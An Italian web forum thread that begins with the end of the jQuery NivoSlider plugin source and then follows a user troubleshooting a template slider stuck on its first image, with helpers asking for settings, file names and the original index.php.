createSlices(slider, settings, vars);
var firstSlice = $('.nivo-slice:first', slider);
firstSlice.css({
'height': '100%',
'width': slider.width() + 'px'
});
firstSlice.animate({ opacity:'1.0' }, (settings.animSpeed*2), '', function(){ slider.trigger('nivo:animFinished'); });
}
else if(settings.effect == 'slideInRight' || vars.randAnim == 'slideInRight'){
createSlices(slider, settings, vars);
var firstSlice = $('.nivo-slice:first', slider);
firstSlice.css({
'height': '100%',
'width': '0px',
'opacity': '1'
});
firstSlice.animate({ width: slider.width() + 'px' }, (settings.animSpeed*2), '', function(){ slider.trigger('nivo:animFinished'); });
}
else if(settings.effect == 'slideInLeft' || vars.randAnim == 'slideInLeft'){
createSlices(slider, settings, vars);
var firstSlice = $('.nivo-slice:first', slider);
firstSlice.css({
'height': '100%',
'width': '0px',
'opacity': '1',
'left': '',
'right': '0px'
});
firstSlice.animate({ width: slider.width() + 'px' }, (settings.animSpeed*2), '', function(){
// Reset positioning
firstSlice.css({
'left': '0px',
'right': ''
});
slider.trigger('nivo:animFinished');
});
}
else if(settings.effect == 'boxRandom' || vars.randAnim == 'boxRandom'){
createBoxes(slider, settings, vars);
var totalBoxes = settings.boxCols * settings.boxRows;
var i = 0;
var timeBuff = 0;
var boxes = shuffle($('.nivo-box', slider));
boxes.each(function(){
var box = $(this);
if(i == totalBoxes-1){
setTimeout(function(){
box.animate({ opacity:'1' }, settings.animSpeed, '', function(){ slider.trigger('nivo:animFinished'); });
}, (100 + timeBuff));
} else {
setTimeout(function(){
box.animate({ opacity:'1' }, settings.animSpeed);
}, (100 + timeBuff));
}
timeBuff += 20;
i++;
});
}
else if(settings.effect == 'boxRain' || vars.randAnim == 'boxRain' || settings.effect == 'boxRainReverse' || vars.randAnim == 'boxRainReverse' ||
settings.effect == 'boxRainGrow' || vars.randAnim == 'boxRainGrow' || settings.effect == 'boxRainGrowReverse' || vars.randAnim == 'boxRainGrowReverse'){
createBoxes(slider, settings, vars);
var totalBoxes = settings.boxCols * settings.boxRows;
var i = 0;
var timeBuff = 0;
// Split boxes into 2D array
var rowIndex = 0;
var colIndex = 0;
var box2Darr = new Array();
box2Darr[rowIndex] = new Array();
var boxes = $('.nivo-box', slider);
if(settings.effect == 'boxRainReverse' || vars.randAnim == 'boxRainReverse' ||
settings.effect == 'boxRainGrowReverse' || vars.randAnim == 'boxRainGrowReverse'){
boxes = $('.nivo-box', slider)._reverse();
}
boxes.each(function(){
box2Darr[rowIndex][colIndex] = $(this);
colIndex++;
if(colIndex == settings.boxCols){
rowIndex++;
colIndex = 0;
box2Darr[rowIndex] = new Array();
}
});
// Run animation
for(var cols = 0; cols < (settings.boxCols * 2); cols++){
var prevCol = cols;
for(var rows = 0; rows < settings.boxRows; rows++){
if(prevCol >= 0 && prevCol < settings.boxCols){
/* Due to some weird JS bug with loop vars
being used in setTimeout, this is wrapped
with an anonymous function call */
(function(row, col, time, i, totalBoxes) {
var box = $(box2Darr[row][col]);
var w = box.width();
var h = box.height();
if(settings.effect == 'boxRainGrow' || vars.randAnim == 'boxRainGrow' ||
settings.effect == 'boxRainGrowReverse' || vars.randAnim == 'boxRainGrowReverse'){
box.width(0).height(0);
}
if(i == totalBoxes-1){
setTimeout(function(){
box.animate({ opacity:'1', width:w, height:h }, settings.animSpeed/1.3, '', function(){ slider.trigger('nivo:animFinished'); });
}, (100 + time));
} else {
setTimeout(function(){
box.animate({ opacity:'1', width:w, height:h }, settings.animSpeed/1.3);
}, (100 + time));
}
})(rows, prevCol, timeBuff, i, totalBoxes);
i++;
}
prevCol--;
}
timeBuff += 100;
}
}
}
// Shuffle an array
var shuffle = function(arr){
for(var j, x, i = arr.length; i; j = parseInt(Math.random() * i), x = arr[--i], arr[i] = arr[j], arr[j] = x);
return arr;
}
// For debugging
var trace = function(msg){
if (this.console && typeof console.log != "undefined")
console.log(msg);
}
// Start / Stop
this.stop = function(){
if(!$(element).data('nivo:vars').stop){
$(element).data('nivo:vars').stop = true;
trace('Stop Slider');
}
}
this.start = function(){
if($(element).data('nivo:vars').stop){
$(element).data('nivo:vars').stop = false;
trace('Start Slider');
}
}
//Trigger the afterLoad callback
settings.afterLoad.call(this);
return this;
};
$.fn.nivoSlider = function(options) {
return this.each(function(key, value){
var element = $(this);
// Return early if this element already has a plugin instance
if (element.data('nivoslider')) return element.data('nivoslider');
// Pass options to plugin constructor
var nivoslider = new NivoSlider(this, options);
// Store plugin object in this element's data
element.data('nivoslider', nivoslider);
});
};
//Default settings
$.fn.nivoSlider.defaults = {
effect: 'random',
slices: 15,
boxCols: 8,
boxRows: 4,
animSpeed: 500,
pauseTime: 3000,
startSlide: 0,
directionNav: true,
directionNavHide: true,
controlNav: true,
controlNavThumbs: false,
controlNavThumbsFromRel: false,
controlNavThumbsSearch: '.jpg',
controlNavThumbsReplace: '_thumb.jpg',
keyboardNav: true,
pauseOnHover: true,
manualAdvance: false,
captionOpacity: 0.8,
prevText: 'Prev',
nextText: 'Next',
beforeChange: function(){},
afterChange: function(){},
slideshowEnd: function(){},
lastSlide: function(){},
afterLoad: function(){}
};
$.fn._reverse = [].reverse;
})(jQuery);
-
non devi toccare nulla del CSS ho dei file xml, ma nelle impostazioni del componente stesso, le immagini ci sono, sono caricate correttamente solo che non sono visibili perché lo slide non va avanti ma rimane ferma solo sulla prima
-
Questo l'avevo capito.
Ma quello che non capisco, sono i parametri. Le ho provate tutte.
(http://imageshack.us/a/img801/8131/ky52.png)
(http://imageshack.us/a/img90/1733/o86.png)
-
nella opzione " logo variazione " ai provato a settare li
-
Il logo variazione, non c'entra nulla.
La persona che ha creato il templates, ha messo tre tipi di loghini da scegliere.
Io adesso ho il fiore, altrimenti c'è una carrozzina oppure un altra piccola immagine.
Il logo variazione cambia solo le piccole immagini accanto alla scritta del titolo del sito.
quindi la prima parte prima del set degli Slides, non c'entra nulla con il movimento che dovrebbe dare lo slider
-
Il logo variazione, non c'entra nulla.quindi la prima parte prima del set degli Slides, non c'entra nulla con il movimento che dovrebbe dare lo slider
Sto cercando di darti una mano e capire insieme a te dove sta il problema, essere ostile non serve a molto, ::) lo slide che anno incorporato nel template e NivoSlider ci devono essere da qualche parte i parametri di configurazione dello slide, oltre a quello che mi ai fatto gli screen ci sono altri parametri nella gestione componenti ?
In gestione moduli non c'è il modulo dello slide ?
-
per ricapitolare, visto il numero di post:
Hai installato il template e lo slider funzionava con le immagini di serie
hai cambiato il nome delle immagini e queste si sono bloccate
Giusto?
Mi puoi allegare il file index.php (zippalo) quello originale, non quello che ti hai modificato?
Puoi darmi la lista dei nomi dei tuoi file?
-
Sto cercando di darti una mano e capire insieme a te dove sta il problema, essere ostile non serve a molto, ::) lo slide che anno incorporato nel template e NivoSlider ci devono essere da qualche parte i parametri di configurazione dello slide, oltre a quello che mi ai fatto gli screen ci sono altri parametri nella gestione componenti ?
In gestione moduli non c'è il modulo dello slide ?
Non sono stata ostile nei tuoi riguardi, non puoi interpretare il mio modo di scrivere O.o
Oltre allo screen che ti ho fatto vedere, non ci sono altri parametri da modificare.
-
per ricapitolare, visto il numero di post:
Hai installato il template e lo slider funzionava con le immagini di serie
hai cambiato il nome delle immagini e queste si sono bloccate
Giusto?
Mi puoi allegare il file index.php (zippalo) quello originale, non quello che ti hai modificato?
Puoi darmi la lista dei nomi dei tuoi file?
La lista delle immagini per lo slide eccola
SLIDE 1 : /bannernuovo.png
SLIDE 1: /bannerslide2.png
SLIDE 3: /bannerslide3.png
SLIDE 4: /bannerslide4.png
SLIDE 5: /bannerslide5.png
ti ho allegato tutto il file zippato del template così vedi che cosa ho installato sul mio pc. ciao e grazie in anticipo
[allegato eliminato automaticamente dopo un anno]
-
Chiudo il post!
Grazie a tutti coloro che mi hanno aiutato.
Ciao
-
Non ti dimenticare di inserire nel titolo del tuo primo post il [ RISOLTO ]
Saluti